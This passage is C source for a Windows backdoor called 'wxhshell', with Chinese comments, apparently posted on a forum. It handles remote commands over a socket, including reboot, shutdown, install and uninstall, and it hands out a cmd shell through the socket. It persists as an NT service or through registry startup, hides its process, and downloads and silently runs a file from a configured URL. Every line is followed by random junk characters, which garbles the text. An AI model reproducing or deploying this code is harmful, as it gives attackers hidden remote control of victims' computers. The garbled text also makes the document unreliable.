  else { V1i^#;  
Dir# [j  
    switch(cmd[0]) { t& yuo E  
  5s0`T]X-  
  // 帮助 +pv..\  
  case '?': { 17:7w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?r$& O*;  
    break; T_\hhP~  
  } =%77~q-HL  
  // 安装 t|&hXh{  
  case 'i': { ,S}wOjb@  
    if(Install()) uw>y*OLU+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*U_!RmQ  
    else _0&U'/cs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #pD=TMefC  
    break; uYE"O UNWL  
    } QVb{+`.7  
  // 卸载 ju.`c->k"  
  case 'r': { x {R j2~KC  
    if(Uninstall()) ? _[ q{i{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8b{Yba z  
    else s2tNQtq 0W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HS.eK#:N  
    break; (6)|v S  
    } Rs'mk6+  
  // 显示 wxhshell 所在路径 mphs^k< Z  
  case 'p': { I'J-)D`  
    char svExeFile[MAX_PATH]; UHI<8o9  
    strcpy(svExeFile,"\n\r"); 5uM`4xkj  
      strcat(svExeFile,ExeFile); vQ5rhRG)E  
        send(wsh,svExeFile,strlen(svExeFile),0); e{Mkwi+j  
    break; 5 yL"=3&+  
    } t,5AoK/NL9  
  // 重启 ! 4 "$O@U4  
  case 'b': { efyGjfoO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V' sq'XB  
    if(Boot(REBOOT)) M\08 7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SR4 mbQ:  
    else { &61h*s  
    closesocket(wsh); -9 |)O:  
    ExitThread(0); 4?`*# DPl  
    } @Y%i`}T%(  
    break; p13y`sU=  
    } :9|CpC`.  
  // 关机 L3S29-T  
  case 'd': { C7l4X8\w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }F_=.w0  
    if(Boot(SHUTDOWN)) 7Zh#7jiZ`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 KU3)%U  
    else { U@".XIDQ  
    closesocket(wsh); W 6R/{H  
    ExitThread(0); tHJahK:"k  
    } ;3 =RM\  
    break; A2nL=9~   
    } FdxV#.BE  
  // 获取shell bL%-9BG  
  case 's': { M r~IVmtf  
    CmdShell(wsh); o3:h!(#G  
    closesocket(wsh); ,u5iiR  
    ExitThread(0); {>yy3(N  
    break; .UUT@ w?  
  } .A7ON1lc^C  
  // 退出 iT~ gt/K  
  case 'x': { T mH5+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zrA =?[  
    CloseIt(wsh); )9 {!=k  
    break; J)^Kls\> t  
    } u0Opn=(_  
  // 离开 8J0#lu  
  case 'q': { &*qAB)* *  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ou\~^  
    closesocket(wsh); %PM8;]  
    WSACleanup(); WQNFHRfO*n  
    exit(1); {%v{iE>  
    break; Mgux (5`;  
        } ~T\:".C  
  } :w9s bW  
  } 9d+z?J:  
<xD6}h/  
  // 提示信息 j2%M-y4E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (7|!%IO.  
} -aM7>YR  
  } \~:_ h#bW  
X> V`)  
  return; !F)BTB7{<  
} K^[Dz\ov5  
j'LO '&sQ(  
// shell模块句柄 @=6$ImU  
int CmdShell(SOCKET sock) NvJ}|w,Z  
{ oazy%n(KZ  
STARTUPINFO si; q[~+Zm  
ZeroMemory(&si,sizeof(si)); 8sU}[HH*1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IoxdWQ4]A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RxGZ#!j/  
PROCESS_INFORMATION ProcessInfo; s,8g^aF4  
char cmdline[]="cmd"; SuJ4)f;'0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'dd[= vzK  
  return 0; Dp;6CGYl?  
} oN.#q$\` k  
RA:3ZV  
// 自身启动模式 +{&++^(}a  
int StartFromService(void) I*= =I4qx  
{ hODq& 9!  
typedef struct y.WEO>   
{ 9y;8JO  
  DWORD ExitStatus; }N#hg>; B  
  DWORD PebBaseAddress; QzD8 jk#  
  DWORD AffinityMask; 'zx1kq1  
  DWORD BasePriority; `;3fnTI:1  
  ULONG UniqueProcessId; O.'\GM  
  ULONG InheritedFromUniqueProcessId; b[my5O l  
}   PROCESS_BASIC_INFORMATION; ka| 8 _C^z  
FrQRHbp3  
PROCNTQSIP NtQueryInformationProcess; :cE~\B S&  
`j(-y`fo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uVLKR PY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Z.W R-}  
@l@erCw@  
  HANDLE             hProcess; t|cTl/i 4  
  PROCESS_BASIC_INFORMATION pbi; u\}"l2 r  
Xs$UpQo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0)9'x)l:  
  if(NULL == hInst ) return 0;  pytF K)U  
8i?:aN[.1b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? VHOh9|AT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cDLjjK7:   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s)V<dm;T  
njBK{  
  if (!NtQueryInformationProcess) return 0; DBZ^n9  
P(~vqo>!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W4S! rU  
  if(!hProcess) return 0; zr1A4%S"  
*ta?7uSiT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bLyaJ%pa\/  
Wt9'-"c  
  CloseHandle(hProcess); 7G &I]>  
@LR:^>&*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ub@ Jwe  
if(hProcess==NULL) return 0; N&-J,p~  
sB%QqFRP  
HMODULE hMod; *waaM]u  
char procName[255]; o_on/{qz  
unsigned long cbNeeded; {_>}K  
.WT ar9e#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4{Af 3N  
qI5`:PH%n  
  CloseHandle(hProcess); ^z}$ '<D9  
&bT \4  
if(strstr(procName,"services")) return 1; // 以服务启动 J(=io_\bO  
<%:,{u6  
  return 0; // 注册表启动 |lVoL.Z,0  
} _*LgpZ-2(  
W60C$*h  
// 主模块 +|TFxaVz  
int StartWxhshell(LPSTR lpCmdLine) >sm<$'vZ/  
{ ;TTH  
  SOCKET wsl; +:#UU;W  
BOOL val=TRUE; nx'Yevi0$  
  int port=0;  nypG  
  struct sockaddr_in door; 0XUWK@)P  
;]sbz4?  
  if(wscfg.ws_autoins) Install(); &u~#bDh  
clO9l=g  
port=atoi(lpCmdLine); (|.rEaTA[1  
oS Apa  
if(port<=0) port=wscfg.ws_port; <t"|wYAa_  
IO}53zn<l  
  WSADATA data; wJu,N(U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vC>8:3Z aq  
eeu;A, @U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aXRf6:\%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $I:&5o i  
  door.sin_family = AF_INET; RG V}c#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < r7s,][&  
  door.sin_port = htons(port); o-r00H|  
"6 \_/l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z"j]m_m H  
closesocket(wsl); F<LRo}j"9Q  
return 1; *^Xtorqo  
} xmBGZ4f%  
B4 +A  
  if(listen(wsl,2) == INVALID_SOCKET) { U)iq  
closesocket(wsl); s\3OqJo%)  
return 1; fsz:A"0H  
} 9@yi UX  
  Wxhshell(wsl); .p$tb2%r  
  WSACleanup(); {bD:OF  
p^THoF'~T  
return 0; ,)%$Zxng  
vG'I|OWg  
} b&\f 8xZ  
{'$+?V"&  
// 以NT服务方式启动 rs+ ["h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q>Kzl/~c.P  
{ Hh{pp ^  
DWORD   status = 0; mq6TwM  
  DWORD   specificError = 0xfffffff;  y)GH=@b  
y,cz;2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s?~lMm' !  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]x:>!y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3T84f[CFJ  
  serviceStatus.dwWin32ExitCode     = 0; br4?_,  
  serviceStatus.dwServiceSpecificExitCode = 0; 1XPYI  
  serviceStatus.dwCheckPoint       = 0; }\3jcnn  
  serviceStatus.dwWaitHint       = 0; g8L{xwx<  
1%`Nu ]D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  G%5ZG$as  
  if (hServiceStatusHandle==0) return; lXOT>$qR<  
qEajT"?  
status = GetLastError(); ~x6<A\  
  if (status!=NO_ERROR) "#G`F  
{ -cP7`.a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; crl"Ec  
    serviceStatus.dwCheckPoint       = 0; wjc&S'[  
    serviceStatus.dwWaitHint       = 0; w~wg[d  
    serviceStatus.dwWin32ExitCode     = status; "'v^X!"  
    serviceStatus.dwServiceSpecificExitCode = specificError; T3,}CK#O   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L. DD  
    return; +\)a p  
  } cT(=pMt8>  
W\5PsGUsv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l _gJC.  
  serviceStatus.dwCheckPoint       = 0; (L'|n *Cr  
  serviceStatus.dwWaitHint       = 0; Qs\*r@6?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8"yZS)09  
} 0I['UL^!F  
X<mlaXwrA  
// 处理NT服务事件,比如:启动、停止 k<}3_   
VOID WINAPI NTServiceHandler(DWORD fdwControl) r<c&;*  
{  KGJ *h  
switch(fdwControl) _:7:ixN[Ie  
{ kY^ k*-v  
case SERVICE_CONTROL_STOP: "X,*VQl:  
  serviceStatus.dwWin32ExitCode = 0; /_qW?LKG/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W*r1Sy  
  serviceStatus.dwCheckPoint   = 0; &(X67  
  serviceStatus.dwWaitHint     = 0; +sT S1t  
  { /X;/}fk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ld?'X=eQ  
  } yZQcxg%  
  return; PWk\#dJN&  
case SERVICE_CONTROL_PAUSE: &M{;[O{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L%;[tu(*  
  break; +=K =B  
case SERVICE_CONTROL_CONTINUE: dCpDA a3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i !;9A6D  
  break; _"[Ls?tRX  
case SERVICE_CONTROL_INTERROGATE: 6KDm#7J  
  break; G.3yuok9  
}; Q)Q1a;o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Pi! UZB  
} xO&qo8*  
" 6ScVa5)  
// 标准应用程序主函数 b} FhC"'i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %ty`Oa2  
{ 7KL@[  
WS//0  
// 获取操作系统版本 -car>hQq  
OsIsNt=GetOsVer(); +t%1FkI\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EhAaaG  
:}z `4S@b  
  // 从命令行安装 JFFluL=-  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Og|*g  
1YN w=  
  // 下载执行文件 @Yn+ir0>O  
if(wscfg.ws_downexe) { V5'(op/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K<q#2G0{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZI.Czzx\=  
} {5]c \_.  
72ZoN<c  
if(!OsIsNt) { h"7~`!"~  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y_)xytJ$  
HideProc(); +U)4V}S)  
StartWxhshell(lpCmdLine); M+*K-zt0  
} W*B=j[w  
else ;Z); k`j  
  if(StartFromService()) {2k]$|  
  // 以服务方式启动 //'&a-%$^  
  StartServiceCtrlDispatcher(DispatchTable); RM;Uq >l  
else 8([ MR  
  // 普通方式启动 5W0s9yD  
  StartWxhshell(lpCmdLine); 0n}v"61q  
(67byO{  
return 0; u+^KP>rM(  
}
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只看该作者 1 发表于: 2006-10-10
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